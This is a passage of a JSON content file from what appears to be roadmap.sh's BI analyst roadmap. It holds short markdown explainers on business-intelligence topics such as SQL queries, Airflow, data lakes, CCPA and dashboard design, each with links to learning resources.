    "path": "src/data/roadmaps/bi-analyst/content/accuracy@M1H3Fh09v8udCJIPSJPic.md",
    "content": "# Accuracy\n\nAccuracy refers to the degree to which data correctly reflects the real-world object or event it is intended to represent. It ensures that the data values are correct, reliable, and free from errors, misrepresentations, or inconsistencies. High accuracy is crucial for making sound business decisions and generating trustworthy insights."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/advanced-queries@-gbb16Wl--Rjx5aoM0krL.md",
    "content": "# Advanced SQL Queries\n\nAdvanced SQL queries go beyond basic data retrieval and manipulation. They involve using more complex techniques like subqueries, window functions, common table expressions (CTEs), and stored procedures to analyze data in greater depth. These techniques allow you to perform sophisticated calculations, compare rows, and organize data for more meaningful insights.\n\nVisit the following resources to learn more:\n\n- [@official@SQL Roadmap](https://roadmap.sh/sql)\n- [@article@25 Advanced SQL Query Examples](https://learnsql.com/blog/25-advanced-sql-query-examples/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/airflow@qnUHw2f2VmTPU3-NMnoLl.md",
    "content": "# Airflow\n\nAirflow is a platform to programmatically author, schedule and monitor workflows. Use airflow to author workflows as directed acyclic graphs (DAGs) of tasks. The airflow scheduler executes your tasks on an array of workers while following the specified dependencies. Rich command line utilities make performing complex surgeries on DAGs a snap. The rich user interface makes it easy to visualize pipelines running in production, monitor progress, and troubleshoot issues when needed. When workflows are defined as code, they become more maintainable, versionable, testable, and collaborative.\n\nVisit the following resources to learn more:\n\n- [@official@Airflow](https://airflow.apache.org/)\n- [@official@Airflow Documentation](https://airflow.apache.org/docs)\n- [@video@Apache Airflow Tutorial for Data Engineers](https://www.youtube.com/watch?v=y5rYZLBZ_Fw)\n- [@feed@Explore top posts about Apache Airflow](https://app.daily.dev/tags/apache-airflow?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/algorithmic-bias@_uLtsnyNNNRcz5A29Zpjl.md",
    "content": "# Algorithmic Bias\n\nAlgorithmic bias occurs when a computer system reflects the implicit values of the humans who created the algorithm or the data used to train it. This can lead to unfair or discriminatory outcomes for certain groups of people, even if the algorithm is not explicitly designed to be biased. It arises from flawed assumptions, incomplete data, or biased data used in the development process, ultimately perpetuating and amplifying existing societal biases.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Algorithmic Bias?](https://www.ibm.com/think/topics/algorithmic-bias)\n- [@video@AI: Training Data & Bias](https://www.youtube.com/watch?v=x2mRoFNm22g)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/analog-vs-digital-data@kb216tShKrRPWv7mE9sVa.md",
    "content": "# Analog vs. Digital Data\n\nAnalog data is continuous information represented by physical quantities, like sound waves or temperature, that vary smoothly over time. Digital data, on the other hand, is discrete information represented by numerical values, typically binary digits (0s and 1s), allowing for precise storage and manipulation by computers.\n\nVisit the following resources to learn more:\n\n- [@article@Analog vs. Digital](https://www.diffen.com/difference/Analog_vs_Digital)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/apis@xQDGmVwUkrmGdviOdG8Hu.md",
    "content": "# APIs as Data Sources\n\nAPIs (Application Programming Interfaces) are sets of rules and specifications that software programs can follow to communicate with each other. In essence, they allow different applications to exchange data and functionality. As data sources, APIs provide a structured way to access information from various online services, databases, and applications, enabling BI analysts to integrate real-time or near real-time data into their analyses and reports."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/barplot@BUizLtQ7vpdyBRjS8KyIl.md",
    "content": "# Barplots\n\nA barplot, also known as a bar chart or bar graph, is a visual representation of data that uses rectangular bars to compare different categories or groups. The length or height of each bar corresponds to the value it represents, allowing for easy comparison of quantities across different categories. Barplots can be oriented vertically (column charts) or horizontally (bar charts), and are commonly used to display frequencies, averages, or other summary statistics."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/basic-machine-learning@ZGazuCNruu09bd7C-aSFC.md",
    "content": "# Basic Machine Learning\n\nMachine learning fundamentals encompass the key concepts and techniques that enable systems to learn from data and make predictions or decisions without being explicitly programmed. At its core, machine learning involves algorithms that can identify patterns in data and improve over time with experience. Key areas include supervised learning (where models are trained on labeled data), unsupervised learning (where models identify patterns in unlabeled data), and reinforcement learning (where agents learn to make decisions based on feedback from their actions). Essential components also include data preprocessing, feature selection, model training, evaluation metrics, and the importance of avoiding overfitting. Understanding these fundamentals is crucial for developing effective machine learning applications across various domains.\n\nVisit the following resources to learn more:\n\n- [@course@Fundamentals of Machine Learning - Microsoft](https://learn.microsoft.com/en-us/training/modules/fundamentals-machine-learning/)\n- [@course@MLCourse.ai](https://mlcourse.ai/)\n- [@article@What Is Machine Learning (ML)?](https://www.ibm.com/think/topics/machine-learning)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/basic-queries@TuBJ2yUz1c5KMRGVHdvU5.md",
    "content": "# Basic Queries\n\nLearning how to make basic SQL queries in esencial for BI analysts. Queries are the foundation for retrieving data from a SQL database. They involve using the `SELECT` statement to specify which columns to retrieve, the `FROM` clause to indicate the table to retrieve data from, and optionally, the `WHERE` clause to filter the data based on specific conditions. These queries allow you to extract specific information from a database, forming the basis for more complex data analysis and reporting.\n\nVisit the following resources to learn more:\n\n- [@official@SQL Roadmap](https://roadmap.sh/sql)\n- [@article@SQL Basics Cheat Sheet](https://www.datacamp.com/cheat-sheet/sql-basics-cheat-sheet?utm_cid=19589720821&utm_aid=152984012854&utm_campaign=230119_1-ps-other~dsa~tofu_2-b2c_3-emea_4-prc_5-na_6-na_7-le_8-pdsh-go_9-nb-e_10-na_11-na&utm_loc=20296-&utm_mtd=-c&utm_kw=&utm_source=google&utm_medium=paid_search&utm_content=ps-other~emea-en~dsa~tofu~cheat-sheet-sql&gad_source=1&gad_campaignid=19589720821&gbraid=0AAAAADQ9WsHi-NrpYc5jD1jwOcO6JW2ib&gclid=CjwKCAjwk7DFBhBAEiwAeYbJsaTs85KOpxx2r27-znQYfeTOvKItMJ2YK6xamy5KiqyFRewGTE-AzRoCLXwQAvD_BwE)\n- [@article@Basic SQL Commands](https://www.freecodecamp.org/news/basic-sql-commands/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/beyond-linear-regression@_QyIZ2_vH3e3yic5NTuak.md",
    "content": "# Beyond Linear Regression\n\nWhile linear regressions are widely popular in predictive modelling, they don't always work. Fortunately, there's a wide array of statistical methods that can be to model relationships between variables when the assumption of a linear relationship is not appropriate. These techniques, such as polynomial, exponential, logarithmic, and logistic regression allow for capturing more complex and non-linear patterns in data, leading to more accurate predictions and insights. They are essential when the relationship between the independent and dependent variables curves or changes direction.\n\nVisit the following resources to learn more:\n\n- [@course@Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)\n- [@article@Nonlinear regression](https://en.wikipedia.org/wiki/Nonlinear_regression)\n- [@video@Nonlinear regression - the basics](https://www.youtube.com/watch?v=4hYGiG4qVf4)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/bi-analyst-vs-other-roles@JFNCITtE1YtcYmLfGfF5T.md",
    "content": "# BI Analyst vs. Other Roles\n\nA BI Analyst focuses on analyzing data (normally, structured data stored in a data warehouse) and leverage it to create insights and recommendations for business improvements. This role differs from other data-related roles like **Data Scientists**, who build predictive models, or **Data Engineers**, who focus on building and maintaining data infrastructure. While a BI Analyst uses data to understand past and current performance, other roles might focus on predicting future outcomes or ensuring the data is readily available for analysis.\n\nVisit the following resources to learn more:\n\n- [@article@The Types of Data Science Roles Explained](https://365datascience.com/career-advice/types-of-data-science-roles-explained/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/bi-communities@X8U-NQD0rYqFr_xgDWL2s.md",
    "content": "# BI Communities\n\nBI communities are groups of people who share an interest in business intelligence. These communities provide a space for BI professionals to connect, share knowledge, and learn from each other. They often host events, online forums, and other resources to help members grow their skills and advance their careers. Some of the most popular BI communities include the Data Visualization Society, the Tableau Community, and the Power BI Forums.\n\nVisit the following resources to learn more:\n\n- [@article@Tableau Community](https://community.tableau.com/s/)\n- [@article@Power Bi Forums](https://community.fabric.microsoft.com/t5/Power-BI-forums/ct-p/powerbi)\n- [@article@Data Visualization Society](https://www.datavisualizationsociety.org/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/bi-competitions@aTGsJj7Ntv5BWIzjaqvu_.md",
    "content": "# BI Competitions\n\nBI competitions are events where individuals or teams use data analysis and visualization skills to solve business problems. Participants analyze datasets, build dashboards, and present insights to judges. These competitions offer a chance to showcase skills, learn new techniques, and gain recognition in the field. Popular examples include the Microsoft Fabric Community Conference Hackathon, Kaggle competitions focused on business intelligence, and the Data Visualization Society's challenges.\n\nVisit the following resources to learn more:\n\n- [@article@Kaggle Competitions](https://www.kaggle.com/competitions)\n- [@article@Microsoft Fabric & AI Learning Hackathon](https://developer.microsoft.com/en-us/reactor/series/s-1393/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/bi-platforms@kpRqKLtAd3IO3nbs8Yxrh.md",
    "content": "# BI Platforms\n\nBI Platforms are software systems that provide a range of tools and capabilities for business intelligence, including data integration, data analysis, reporting, dashboarding, and data visualization. They enable users to access, analyze, and share insights from data to support better decision-making across an organization. These platforms often support various data sources and offer features for collaboration and data governance.\n\nVisit the following resources to learn more:\n\n- [@article@Analytics and Business Intelligence Platforms Reviews and Ratings](https://www.gartner.com/reviews/market/analytics-business-intelligence-platforms)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/bias-recognition@9aNVqEyygNGeicdce5X8b.md",
    "content": "# Bias Recognition\n\nBias recognition involves identifying and understanding systematic errors in data or analysis that can lead to unfair or inaccurate conclusions. These biases can arise from various sources, including data collection methods, sampling techniques, or even the assumptions made during analysis. Recognizing these biases is crucial for ensuring that data-driven insights are reliable and equitable.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Bias?](https://www.ibm.com/think/topics/data-bias)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/building-your-portfolio@UIdwl_KLELI8xL2VxYJmX.md",
    "content": "# Building Your Portfolio\n\nA portfolio showcases your BI skills and experience to potential employers. It's a collection of projects, visualizations, and analyses that demonstrate your ability to solve business problems using data. A strong portfolio highlights your technical proficiency, analytical thinking, and communication skills, giving tangible evidence of your capabilities beyond a resume.\n\nVisit the following resources to learn more:\n\n- [@article@How to Build a Data Analyst Portfolio: Tips for Success](https://www.coursera.org/articles/how-to-build-a-data-analyst-portfolio)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/business-acumen@OmhvVSTtzH5sxOIZRVYfQ.md",
    "content": "# Business Acumen\n\nBusiness acumen is the ability to quickly understand how a business operates and makes money. It involves grasping the key financial drivers, competitive landscape, and strategic priorities of an organization. This understanding allows individuals to make informed decisions and contribute effectively to achieving business goals.\n\nVisit the following resources to learn more:\n\n- [@article@Business acumen](https://en.wikipedia.org/wiki/Business_acumen)\n- [@video@Business Acumen 101](https://www.youtube.com/watch?v=JwhPhS26Mos)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/calculated-fields--measures@fFzCnLfZ_vSbhQjdAKLlJ.md",
    "content": "# Calculated Fields & Measures\n\nCalculated fields and measures are custom computations derived from existing data within a data model. They allow you to create new insights and metrics by applying formulas, functions, and logic to raw data. These calculations can involve aggregations, arithmetic operations, conditional statements, and more, enabling you to analyze data in ways not directly available from the original dataset. Modern BI tools usually come with capabilities to create custom calculated fields and measures."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/categorical-vs-numerical@yXz6MkU3-HnlkmRmYh-Ev.md",
    "content": "# Categorical vs Numerical\n\nCategorical data describes groups or qualities and uses words or labels (e.g., hair color), while numerical data represents measurable quantities with numbers (e.g., height). Numerical data can be discrete (countable, like the number of books) or continuous (measurable within a range, like temperature), whereas categorical data can be nominal (unordered categories, like gender) or ordinal (ordered categories, like shirt sizes).\n\nVisit the following resources to learn more:\n\n- [@article@Intro to Statistics](https://www.udacity.com/course/intro-to-statistics--st101)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/ccpa@IwnXDA-f3FHK4EEeFuToC.md",
    "content": "# CCPA\n\nThe California Consumer Privacy Act (CCPA) is a California state law that grants consumers specific rights regarding their personal information held by businesses. These rights include the right to know what personal information is being collected about them, the right to request deletion of their personal information, and the right to opt-out of the sale of their personal information. CCPA aims to give consumers more control over their data and increase transparency in data handling practices.\n\nVisit the following resources to learn more:\n\n- [@official@California Consumer Privacy Act (CCPA)](https://oag.ca.gov/privacy/ccpa)\n- [@article@What is the CCPA?](https://www.cloudflare.com/en-gb/learning/privacy/what-is-the-ccpa/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/central-tendency@F-fC2JWOuEeDbOHH1O6EB.md",
    "content": "# Central Tendency\n\nMeasures of central tendency focus on the average or middle values of datasets. They aim to provide a summary of the entire dataset with one representative number.The most common measures of central tendency are the arithmetic mean, the median, and the mode. A middle tendency can be calculated for either a finite set of values or for a theoretical distribution, such as the normal distribution.\n\nVisit the following resources to learn more:\n\n- [@article@Central tendency](https://en.wikipedia.org/wiki/Central_tendency)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/certifications@hqpFbDhAvyT9_4hcoSLhC.md",
    "content": "# Certifications for BI Analysts\n\nCertifications for BI Analysts are credentials that validate a professional's skills and knowledge in business intelligence tools, techniques, and methodologies. These certifications often cover areas like data analysis, data visualization, data warehousing, and specific software platforms such as Tableau, Power BI, or SQL. Earning a certification can demonstrate expertise to employers and clients, potentially leading to career advancement and increased earning potential.\n\nVisit the following resources to learn more:\n\n- [@article@16 Top Business Intelligence Certifications for a Successful Career](https://onlinedegrees.sandiego.edu/business-intelligence-certifications/)\n- [@article@9 Popular Data Analyst Certifications 2025 Guide](https://www.onlc.com/blog/popular-data-analyst-certifications/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/change-management@vDQF2oaybSewNu3EMs6zG.md",
    "content": "# Change Management\n\nChange management is the process, tools, and techniques used to manage the people-side of change to achieve the required business outcome. It involves helping individuals and teams understand, accept, and adapt to changes in their work environment, processes, technologies, or organizational structure. Effective change management minimizes disruption, resistance, and negative impacts, while maximizing adoption and realizing the benefits of the change initiative."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/chart-categories@GVgfPajmSqIgFZ6u2I1tK.md",
    "content": "# Chart Categories\n\nCharts are visual representations of data, used to identify patterns, trends, and relationships. They generally fall into a few main categories: **comparison** charts (like bar charts and column charts) which show differences between values; **relationship** charts (such as scatter plots) that reveal correlations between variables; **composition** charts (like pie charts and stacked area charts) which display parts of a whole; and **distribution** charts (histograms and box plots) that illustrate the spread and frequency of data. Choosing the right chart type depends on the data you have and the story you want to tell.\n\nVisit the following resources to learn more:\n\n- [@article@The Python Graph Gallery](https://python-graph-gallery.com/)\n- [@article@The Data Visualisation Catalogue](https://datavizcatalogue.com/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/cloud-bi-ecosystem@zGU6DyEm6xEYf1_73cbjL.md",
    "content": "# Cloud BI Ecosystem\n\nA Cloud BI Ecosystem refers to the collection of cloud-based services, tools, and technologies that work together to enable business intelligence (BI) and analytics. This ecosystem typically includes data storage, data integration, data processing, data visualization, and reporting capabilities, all hosted and managed in the cloud. It allows organizations to leverage the scalability, flexibility, and cost-effectiveness of the cloud to gain insights from their data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/cloud-computing-basics@_KYKLd-RNhVy-Sn1A-G5j.md",
    "content": "# Cloud Computing\n\n**Cloud Computing** refers to the delivery of computing services over the internet rather than using local servers or personal devices. These services include servers, storage, databases, networking, software, analytics, and intelligence. Cloud Computing enables faster innovation, flexible resources, and economies of scale. There are various types of cloud computing such as public clouds, private clouds, and hybrids clouds. Furthermore, it's divided into different services like Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS). These services differ mainly in the level of control an organization has over their data and infrastructures.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Computing - IBM](https://www.ibm.com/think/topics/cloud-computing)\n- [@article@What is Cloud Computing? - Azure](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-cloud-computing)\n- [@video@hat is Cloud Computing?](https://www.youtube.com/watch?v=mxT233EdY5c)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/cloud-data-warehouses@D94743lQ1fAerVSpJWXfP.md",
    "content": "# Cloud Data Warehouses\n\nCloud data warehouses are databases designed for analytical workloads that are hosted on cloud computing platforms. They allow businesses to store and analyze large volumes of data from various sources in a centralized, scalable, and cost-effective manner. These warehouses are optimized for read-heavy operations, enabling fast query performance for business intelligence and reporting.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Data Warehouse?](https://cloud.google.com/learn/what-is-a-data-warehouse)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/cloud@WXk0-vebMUQC25he2lmbh.md",
    "content": "# Cloud Data Sources\n\nCloud data sources refer to data that is stored and accessed through a network of remote servers hosted on the internet, rather than on local servers or personal devices. These sources can include databases, data warehouses, data lakes, and various applications offered by cloud providers like AWS, Azure, and Google Cloud. They offer scalability, accessibility, and often cost-effectiveness for storing and processing large volumes of data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/clv@OqHNW0PzIRsw7IBgh5U5Q.md",
    "content": "# Customer Lifetime Value (CLV)\n\nCustomer Lifetime Value (CLV) predicts the total revenue a business can expect from a single customer account throughout their relationship. It considers factors like purchase frequency, average order value, and customer lifespan to estimate the long-term profitability of each customer. This metric helps businesses understand which customer segments are most valuable and informs decisions about customer acquisition, retention, and marketing strategies.\n\nVisit the following resources to learn more:\n\n- [@article@What Customer Lifetime Value (CLV) Is and How to Calculate It](https://www.netsuite.com/portal/resource/articles/ecommerce/customer-lifetime-value-clv.shtml)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/coherence@4U66ZrBZqg7-ckOTmxAQj.md",
    "content": "# Coherence in Data Quality\n\nCoherence, within the realm of data quality, refers to the logical consistency and understandability of data across different datasets or within a single dataset. It ensures that data elements relate to each other in a meaningful and expected way, avoiding contradictions and ambiguities. High coherence means the data tells a clear and consistent story, making it reliable for analysis and decision-making."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/cohort-analysis@R2zg0Ql-RsnIkV5Gmc1vN.md",
    "content": "# Cohort Analysis\n\nCohort analysis is a behavioral analytics technique that groups users with shared characteristics over a specific time span. These groups, or cohorts, are then tracked and compared to understand how their behavior evolves over time. This helps identify patterns, trends, and insights related to user engagement, retention, and other key metrics.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Cohort Analysis: A Comprehensive Guide 101](https://hevodata.com/learn/understanding-cohort-analysis-a-guide/)\n- [@article@Cohort analysis](https://en.wikipedia.org/wiki/Cohort_analysis)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/color-theory@SJGEkoTSPK2ck4IvaK6Gz.md",
    "content": "# Color Theory\n\nColor theory is a set of principles that guide how colors are mixed, combined, and used to create visually appealing and effective designs. It encompasses understanding the color wheel, color harmonies, and the psychological effects of different colors. Applying color theory helps ensure that visualizations are not only aesthetically pleasing but also communicate data accurately and effectively.\n\nVisit the following resources to learn more:\n\n- [@article@How to choose colors for data visualizations](https://www.atlassian.com/data/charts/how-to-choose-colors-data-visualization)\n- [@video@Why Colors Matter in Data Visualization? What is Color Theory?](https://www.youtube.com/watch?v=Zs-Rbkr9LVI)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/communication--storytelling@TBcLXYtKs7_j_h_m2pAyh.md",
    "content": "# Communication & Storytelling\n\nCommunication and storytelling involve conveying insights and findings from data analysis in a clear, concise, and engaging manner. It's about transforming complex data into understandable narratives that resonate with the audience, enabling them to grasp the significance of the information and make informed decisions. This includes using visuals, language, and structure to effectively present data-driven insights.\n\nVisit the following resources to learn more:\n\n- [@book@Effective Data Storytelling: How to drive change with data, narrative, and visuals](https://dl.nemoudar.com/effective-data-storytelling-how-to-drive-change-with-data-narrative-and-visuals-1nbsped-1119615712-9781119615712_compress.pdf)\n- [@article@What is data storytelling?](http://microsoft.com/en-us/power-platform/products/power-bi/topics/data-storytelling)\n- [@article@Data Storytelling: How to Effectively Tell a Story with Data](https://online.hbs.edu/blog/post/data-storytelling)\n- [@video@Telling Stories with Data in 3 Steps (Quick Study)](https://www.youtube.com/watch?v=r5_34YnCmMY)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/compliance-reporting@j-GXKpMnsVuUUUdRxAXLe.md",
    "content": "# Compliance Reporting\n\nCompliance reporting involves creating reports that demonstrate an organization's adherence to laws, regulations, policies, and industry standards. These reports provide evidence of compliance to regulatory bodies, stakeholders, and internal management, ensuring transparency and accountability. They often include key performance indicators (KPIs), metrics, and data visualizations to highlight compliance status and identify areas for improvement.\n\nVisit the following resources to learn more:\n\n- [@article@Streamlining Financial Compliance with AI-Powered BI](https://www.strategysoftware.com/blog/streamlining-financial-compliance-with-ai-powered-bi)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/compliance-reporting@omvGuhou7_63k-Fwcc7Mu.md",
    "content": "# Compliance Reporting in Healthcare\n\nCompliance reporting in healthcare involves creating reports that demonstrate adherence to regulations and standards set by healthcare organizations. These reports track key performance indicators (KPIs) related to patient safety, data security, financial integrity, and quality of care. They are used to identify areas of non-compliance, mitigate risks, and ensure that healthcare providers meet legal and ethical obligations."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/conferences--webinars@UDF8wyYT8127wfFHcq37P.md",
    "content": "# BI Conferences and Webinars\n\nBI conferences and webinars are events where professionals in the business intelligence field gather to learn about the latest trends, technologies, and best practices. These events offer opportunities to network with peers, hear from industry experts, and discover new tools and techniques for data analysis and visualization.\n\nHere are 4 popular BI conferences:\n\n*   **Gartner Data & Analytics Summit:** A leading conference covering a wide range of data and analytics topics.\n*   **TDWI Conferences:** Focused on data warehousing, business intelligence, and analytics.\n*   **Data Council:** A community-powered conference for data scientists, engineers, and analysts.\n*   **Big Data LDN:** A UK-based event showcasing big data and analytics solutions."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/confidence-intervals@xgP3zIiSEr9dtYcCQikPb.md",
    "content": "# Confidence Intervals\n\nConfidence intervals provide a range of values that are likely to contain the true value of a population parameter, such as a mean or proportion. They are calculated from sample data and are associated with a confidence level, indicating the probability that the interval captures the true parameter. A wider interval suggests more uncertainty, while a narrower interval suggests more precision in estimating the parameter. A 95% confidence interval, for example, means that if the same sampling method were repeated many times, 95% of the calculated intervals would contain the true population parameter.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Confidence Interval and How Do You Calculate It?](https://www.investopedia.com/terms/c/confidenceinterval.asp)\n- [@article@Confidence interval](https://en.wikipedia.org/wiki/Confidence_interval)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/correlation-analysis@ASHk2LOjlhwpwpWSRs_Bi.md",
    "content": "# Correlation Analysis\n\nCorrelation analysis is a statistical method used to determine the strength and direction of a linear relationship between two variables. It helps to understand how changes in one variable are associated with changes in another, indicating whether they tend to increase or decrease together. The correlation coefficient, typically ranging from -1 to +1, quantifies this relationship, with values closer to -1 or +1 indicating a stronger correlation and 0 indicating no linear relationship.\n\nVisit the following resources to learn more:\n\n- [@course@Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)\n- [@article@Correlation Analysis](https://datatab.net/tutorial/correlation)\n- [@article@Correlation](https://en.wikipedia.org/wiki/Correlation)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/correlation-vs-causation@JXYmXAYuA-zxrkl4PRLQd.md",
    "content": "# Correlation vs. Causation\n\nCorrelation describes the degree to which two variables tend to move together, indicating a statistical relationship. Causation, on the other hand, implies that one variable directly influences another, meaning a change in one variable produces a change in the other. While correlation can suggest a possible causal relationship, it does not prove it, as other factors might be involved. Essentially, correlation is about association, while causation is about a direct influence\n\nVisit the following resources to learn more:\n\n- [@course@Intro to Inferential Statistics](http://udacity.com/course/intro-to-inferential-statistics--ud201)\n- [@article@Correlation vs. Causation | Difference, Designs & Examples](https://www.scribbr.com/methodology/correlation-vs-causation/)\n- [@article@Correlation does not imply causation](https://en.wikipedia.org/wiki/Correlation_does_not_imply_causation)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/critical-thinking@NFKiPXrkjRre1yUZc27gl.md",
    "content": "# Critical Thinking\n\nCritical thinking involves analyzing information objectively and forming a reasoned judgment. It's about evaluating evidence, identifying assumptions, and considering different perspectives to arrive at well-supported conclusions. This process helps in problem-solving and decision-making by ensuring that conclusions are logical and based on facts rather than emotions or biases."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/csv@LcLfC6BiOxJAkk2p424wL.md",
    "content": "# CSV\n\nCSV (Comma Separated Values) is a plain text file format used to store tabular data, such as spreadsheets or databases. Each line in a CSV file represents a row of data, and the values within each row are separated by commas. It's a simple and widely supported format for exchanging data between different applications.\n\nVisit the following resources to learn more:\n\n- [@article@Comma-Separated Values](https://en.wikipedia.org/wiki/Comma-separated_values)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/dashboard-design@KXhNou5nlekbSTfLYPs_8.md",
    "content": "# Dashboard Design\n\nDashboard design involves creating visual displays of data that are easy to understand and interpret. It focuses on arranging key performance indicators (KPIs), charts, and other data visualizations in a way that tells a clear and concise story about the underlying data, enabling users to quickly identify trends, patterns, and insights. Effective dashboard design prioritizes clarity, usability, and relevance to the intended audience.\n\nVisit the following resources to learn more:\n\n- [@article@Visual storytelling 101: elevating presentations with data visualization](https://medium.com/@mokkup/8-essential-dashboard-design-principles-for-effective-data-visualization-40653c5fd135)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/dashboard-design@qvPTiDbsY5ol_K-BNLmzk.md",
    "content": "# Dashboard Design\n\nDashboard design involves creating visual interfaces that present key performance indicators (KPIs) and other important data in an easily understandable format. This process includes selecting appropriate charts and graphs, arranging them logically, and ensuring the overall design is clear, concise, and visually appealing to help users quickly gain insights and make informed decisions.\n\nVisit the following resources to learn more:\n\n- [@video@ES  Saltar navegación power bi dashboard design project     Crear   Imagen del avatar POWER BI Tutorial From BEGINNER to Pro Level](https://www.youtube.com/watch?v=0BKlUySopU4)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-architectures@Zxuvc9F3bINLTdfbsx_S_.md",
    "content": "# Data Architectures\n\nData architecture defines how data is collected, stored, transformed, distributed, and consumed within an organization. It provides a blueprint for managing data assets, ensuring data quality, accessibility, and security. This framework encompasses various components, including databases, data warehouses, data lakes, and data pipelines, working together to support business intelligence and analytics.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Data Architecture?](https://www.ibm.com/think/topics/data-architecture)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-cleaning@Vo7LJ_W-DBvxvVrnz33BM.md",
    "content": "# Data Cleaning\n\nData cleaning, which is often referred as data cleansing or data scrubbing, is one of the most important and initial steps in the data analysis process. As a BI analyst, the bulk of your work often revolves around understanding, cleaning, and standardizing raw data before analysis. Data cleaning involves identifying, correcting or removing any errors or inconsistencies in datasets in order to improve their quality. The process is crucial because it directly determines the accuracy of the insights you generate - garbage in, garbage out. Even the most sophisticated models and visualizations would not be of much use if they're based on dirty data.\n\nVisit the following resources to learn more:\n\n- [@article@Data Cleaning](https://www.tableau.com/learn/articles/what-is-data-cleaning)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-formats@GsZWvJPNzN6XLDp2G1db4.md",
    "content": "# Data Formats\n\nData formats define the structure in which data is stored and organized. These formats dictate how information is encoded, interpreted, and used by different systems and applications. Common examples include CSV (Comma Separated Values) for tabular data, JSON (JavaScript Object Notation) for structured data, and XML (Extensible Markup Language) for hierarchical data. Understanding data formats is crucial for effectively extracting, transforming, and loading (ETL) data, as well as for ensuring data compatibility and integrity across various platforms."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-lake@iqpVtvoebAaoB_Dj9-gdw.md",
    "content": "# Data lakes\n\n**Data Lakes** are large-scale data repository systems that store raw, untransformed data, in various formats, from multiple sources. They're often used for big data and real-time analytics requirements. Data lakes preserve the original data format and schema which can be modified as necessary.\n\nVisit the following resources to learn more:\n\n- [@article@Data Lake Definition](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-a-data-lake)\n- [@video@What is a Data Lake?](https://www.youtube.com/watch?v=LxcH6z8TFpI)\n- [@video@Data Lake VS Data Warehouse VS Data Marts](https://www.youtube.com/watch?v=w9-WoReNKHk)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-lineage@F21ypKzpziLCXkiKG1S5Z.md",
    "content": "# Data Lineage\n\nData lineage is the process of understanding and documenting the journey of data, from its origin to its destination. It tracks how data is transformed, moved, and used throughout its lifecycle. This includes identifying the sources of data, the transformations applied to it (e.g., cleaning, aggregation), and the systems and users that access or modify it.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Data Lineage?](https://www.ibm.com/think/topics/data-lineage)\n- [@article@The Ultimate Guide To Data Lineage](http://montecarlodata.com/blog-data-lineage/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-mart@5x4NfuP6dAgjISlB-esIW.md",
    "content": "# Data Mart\n\nA data mart is a subset of a data warehouse, focused on a specific business function or department. A data mart is streamlined for quicker querying and a more straightforward setup, catering to the specialized needs of a particular team, or function. Data marts only hold data relevant to a specific department or business unit, enabling quicker access to specific datasets, and simpler management\n\nVisit the following resources to learn more:\n\n- [@article@What is a Data Mart?](https://www.ibm.com/think/topics/data-mart)\n- [@article@Data Mart vs Data Warehouse: a Detailed Comparison](https://www.datacamp.com/blog/data-mart-vs-data-warehouse)\n- [@article@Data Lake VS Data Warehouse VS Data Marts](https://www.youtube.com/watch?v=w9-WoReNKHk)"
  },
  {
